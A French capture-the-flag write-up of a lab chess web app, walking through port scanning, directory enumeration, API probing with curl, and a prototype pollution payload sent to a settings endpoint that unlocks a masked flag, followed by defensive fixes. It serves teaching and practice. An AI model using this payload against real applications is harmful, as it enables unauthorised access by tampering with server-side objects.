Fools Mate, Revenge

On continue avec Fools Mate, Revenge. Le plateau est le même que dans Fools Mate et le coup gagnant aussi. Cette fois on peut jouer le mat mais le site refuse de donner le flag.
Le temps estimé est de 60 minutes. Pendant ma session la machine était sur 10.130.152.67.
Vérifier que la machine répond
Je commence par un ping pour voir si la machine répond.
┌──(kali㉿kali)-[~]
└─$ ping -c 5 10.130.152.67
PING 10.130.152.67 (10.130.152.67) 56(84) bytes of data.
64 bytes from 10.130.152.67: icmp_seq=1 ttl=62 time=23.3 ms
64 bytes from 10.130.152.67: icmp_seq=2 ttl=62 time=17.4 ms
64 bytes from 10.130.152.67: icmp_seq=3 ttl=62 time=22.1 ms
64 bytes from 10.130.152.67: icmp_seq=4 ttl=62 time=21.4 ms
64 bytes from 10.130.152.67: icmp_seq=5 ttl=62 time=21.8 ms
--- 10.130.152.67 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4006ms
rtt min/avg/max/mdev = 17.403/21.214/23.342/2.010 ms
Aucune perte, la machine est bien joignable.
Pour info : un TTL proche de 64 est généralement associé aux systèmes Linux/Unix. Sa valeur diminue à chaque routeur traversé. Les
64 bytescorrespondent à la taille des données reçues.
Scanner les ports
Je lance ensuite Nmap sur tous les ports TCP.
nmap -sC -sV -p- -T4 10.130.152.67
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- -T4 10.130.152.67
Starting Nmap 7.991 ( https://nmap.org ) at 2026-07-05 16:46 +0200
Nmap scan report for 10.130.152.67
Host is up (0.020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 98:38:ee:a5:76:a3:65:98:e7:e0:9a:30:a3:b2:ba:9c (ECDSA)
|_ 256 5d:13:45:c6:72:1c:da:ae:d9:d9:5b:93:fb:92:02:59 (ED25519)
3000/tcp open http Node.js Express framework
|_http-title: Endgame Trainer
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.25 seconds
-sV récupère les versions des services, -sC lance les scripts par défaut, -p- couvre les 65535 ports et -T4 accélère le scan.
Deux ports sont ouverts, le 22 pour SSH et le 3000 pour une application web Node.js avec Express. La bannière SSH indique Ubuntu. Aucune vulnérabilité évidente ne ressort du scan pour SSH, je ne m'attarde donc pas dessus et je poursuis avec l'application web sur le port 3000.
Je n'ai pas d'identifiants SSH donc je passe sur http://10.130.152.67:3000/.
Regarder ce qui a changé
On arrive sur Endgame Trainer. Les blancs doivent jouer et la tour en a1 peut donner mat en allant en a8. Le roi noir est en g8 et ses propres pions lui ferment la sortie.

Je sélectionne la tour. Le jeu affiche les déplacements possibles sur la colonne a.

Je joue a1 vers a8. La tour bouge et le jeu annonce le mat avec Ra8#. Mais j'ai ce message :
Checkmate! No reward for you.

Le mat est bien accepté. Je vais regarder les requêtes pour comprendre ce qui bloque le flag.
Repérer les ressources de l'application
Je lance Gobuster pour chercher les chemins accessibles.
gobuster dir -u http://10.130.152.67:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 2>/dev/null

Je retrouve /css/, /js/, /vendor/ et /pieces/. Les réponses 301 redirigent vers les mêmes chemins avec un slash à la fin.
Je récupère le HTML pour trouver le script du jeu :
curl -s http://10.130.152.67:3000/
Je filtre les lignes qui m'intéressent :
curl -s http://10.130.152.67:3000/ | grep -inE 'script|stylesheet|api|form|select'
On retrouve le plateau et les listes de préférences. La page charge aussi js/app.js en tant que module.

À droite du plateau on peut changer le thème, les pièces et les animations. Je regarde les valeurs proposées :
curl -s http://10.130.152.67:3000/ | grep -inE 'themeSelect|pieceSetSelect|animSelect|option'
Les thèmes sont forest, midnight et coral. Les pièces utilisent classic ou outline. Les animations peuvent durer 180, 100 ou 0 millisecondes.
Retrouver les routes de l'API
Je cherche les appels HTTP dans le JavaScript :
curl -s http://10.130.152.67:3000/js/app.js | grep -nE 'fetch\(|/api/|account|config|unlocked|reward|settings'
Quatre routes ressortent :
/api/statepour lire l'état de la partie./api/movepour envoyer un coup./api/resetpour remettre le plateau à zéro./api/settingspour enregistrer les préférences.
Je cherche aussi une fonction de fusion ou des références aux prototypes :
curl -s http://10.130.152.67:3000/js/app.js | grep -nE 'deepMerge|constructor|prototype|__proto__|unlocked|config'
Aucun résultat. Le code qui m'intéresse est peut-être côté serveur.
Tester l'API
Je commence par lire l'état du jeu :
curl -i http://10.130.152.67:3000/api/state
La réponse contient la position FEN et un en-tête Set-Cookie. C'est là que le serveur donne le cookie sid qui identifie la session. Pour afficher cette ligne :
curl -s -D - -o /dev/null http://10.130.152.67:3000/api/state | grep -i '^set-cookie:'
-s enlève la barre de progression. -D - affiche les en-têtes dans le terminal et -o /dev/null écarte le corps de la réponse. grep -i garde la ligne du cookie sans tenir compte des majuscules.
Le serveur renvoie le cookie de session sid :
Set-Cookie: sid=50dc5a6a123082fbaf0385a748bb2146
Je laisse curl enregistrer le cookie dans un fichier texte nommé cookies.txt :
curl -i -c cookies.txt http://10.130.152.67:3000/api/state
cat cookies.txt
-i affiche les en-têtes avec la réponse et -c cookies.txt écrit les cookies reçus dans le fichier. Pas besoin de copier le sid à la main.
Le fichier utilise le format de cookies Netscape. On y retrouve le même identifiant de session :
# Netscape HTTP Cookie File
10.130.152.67 FALSE / FALSE 0 sid 50dc5a6a123082fbaf0385a748bb2146
On retrouve le domaine, les informations de portée et d'expiration puis le nom sid et sa valeur. Les attributs exacts dépendent du cookie envoyé par le serveur.
Pour reprendre cette session je passe le fichier avec -b cookies.txt. Je garde aussi -c cookies.txt pour enregistrer une éventuelle mise à jour du cookie :
curl -i -b cookies.txt -c cookies.txt http://10.130.152.67:3000/api/state
Les requêtes suivantes utilisent ce même fichier. Sans ça chaque commande pourrait repartir sur une autre session.
Comprendre pourquoi le flag reste verrouillé
J'envoie le coup gagnant directement à l'API :
curl -i -b cookies.txt -c cookies.txt \
-X POST http://10.130.152.67:3000/api/move \
-H 'Content-Type: application/json' \
-d '{"from":"a1","to":"a8"}'
Si la partie a déjà été gagnée dans cette session il faut d'abord passer par /api/reset pour retrouver la position de départ.
Le serveur confirme le mat mais renvoie aussi locked: true. La raison donnée est que session.config.unlocked n'est pas définie. Pour comprendre comment cette configuration est remplie, j'examine la route /api/settings.
Regarder les préférences
Je commence par une requête avec les valeurs proposées par l'interface :
curl -i -b cookies.txt -c cookies.txt \
-X POST http://10.130.152.67:3000/api/settings \
-H 'Content-Type: application/json' \
-d '{"theme":"midnight","pieceSet":"classic","animationMs":100}'
J'obtiens une erreur 500 Internal Server Error avec ce message :
RangeError: Maximum call stack size exceeded
La trace répète des appels à deepMerge dans /opt/ctf/chess-e2/server.js. La fonction semble fusionner des objets en s'appelant elle-même et finit par dépasser la pile d'appels. Ça me donne une piste sur le traitement des préférences.
Tester une pollution de prototype
En JavaScript un objet peut hériter d'une propriété qu'il ne possède pas lui-même. Si unlocked manque dans la configuration le moteur peut aller le chercher sur son prototype.
L'idée est de faire ajouter unlocked: true à Object.prototype par la fonction de fusion. La configuration pourrait alors hériter de cette valeur. C'est une pollution de prototype.
Sur un objet ordinaire constructor.prototype permet d'atteindre Object.prototype. Je teste ce chemin avec le JSON suivant :
{
"constructor": {
"prototype": {
"unlocked": true
}
},
"theme": "midnight",
"pieceSet": "classic",
"animationMs": 100
}
J'envoie ce JSON à la route des réglages :
curl -i -b cookies.txt -c cookies.txt \
-X POST http://10.130.152.67:3000/api/settings \
-H 'Content-Type: application/json' \
-d '{"constructor":{"prototype":{"unlocked":true}},"theme":"midnight","pieceSet":"classic","animationMs":100}'
Cette requête renvoie encore une erreur de récursion. Une erreur ne garantit pas que la fusion n'a rien modifié avant de s'interrompre : je vérifie donc l'état du jeu en rejouant le mat.
Rejouer le coup
Je remets le jeu à sa position de départ :
curl -i -b cookies.txt -c cookies.txt \
-X POST http://10.130.152.67:3000/api/reset
Puis je rejoue le même coup :
curl -i -b cookies.txt -c cookies.txt \
-X POST http://10.130.152.67:3000/api/move \
-H 'Content-Type: application/json' \
-d '{"from":"a1","to":"a8"}'
La route /api/reset remet l'échiquier à sa position de départ. Elle ne redémarre pas le serveur Node.js : une propriété ajoutée à Object.prototype peut donc persister entre deux parties.
Flag trouvé
La réponse finale enregistrée contient bien le mat et le flag. Le déblocage est confirmé, mais les échanges conservés ne permettent pas d'isoler la requête qui l'a provoqué :
{
"ok": true,
"move": "a1a8",
"fen": "R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1",
"status": "checkmate",
"turn": "b",
"winner": "white",
"flag": "THM{****************************}"
}

Flag trouvé
THM{****************************}
Ce qu'il faut retenir
Le message sur session.config.unlocked m'a orienté vers les préférences. L'erreur dans deepMerge a ensuite donné la piste de la fusion d'objets.
Pour éviter ça le serveur doit n'accepter que les réglages prévus et empêcher la fusion d'atteindre un prototype. Le contrôle de récompense doit aussi vérifier une propriété propre à la configuration plutôt qu'une valeur héritée.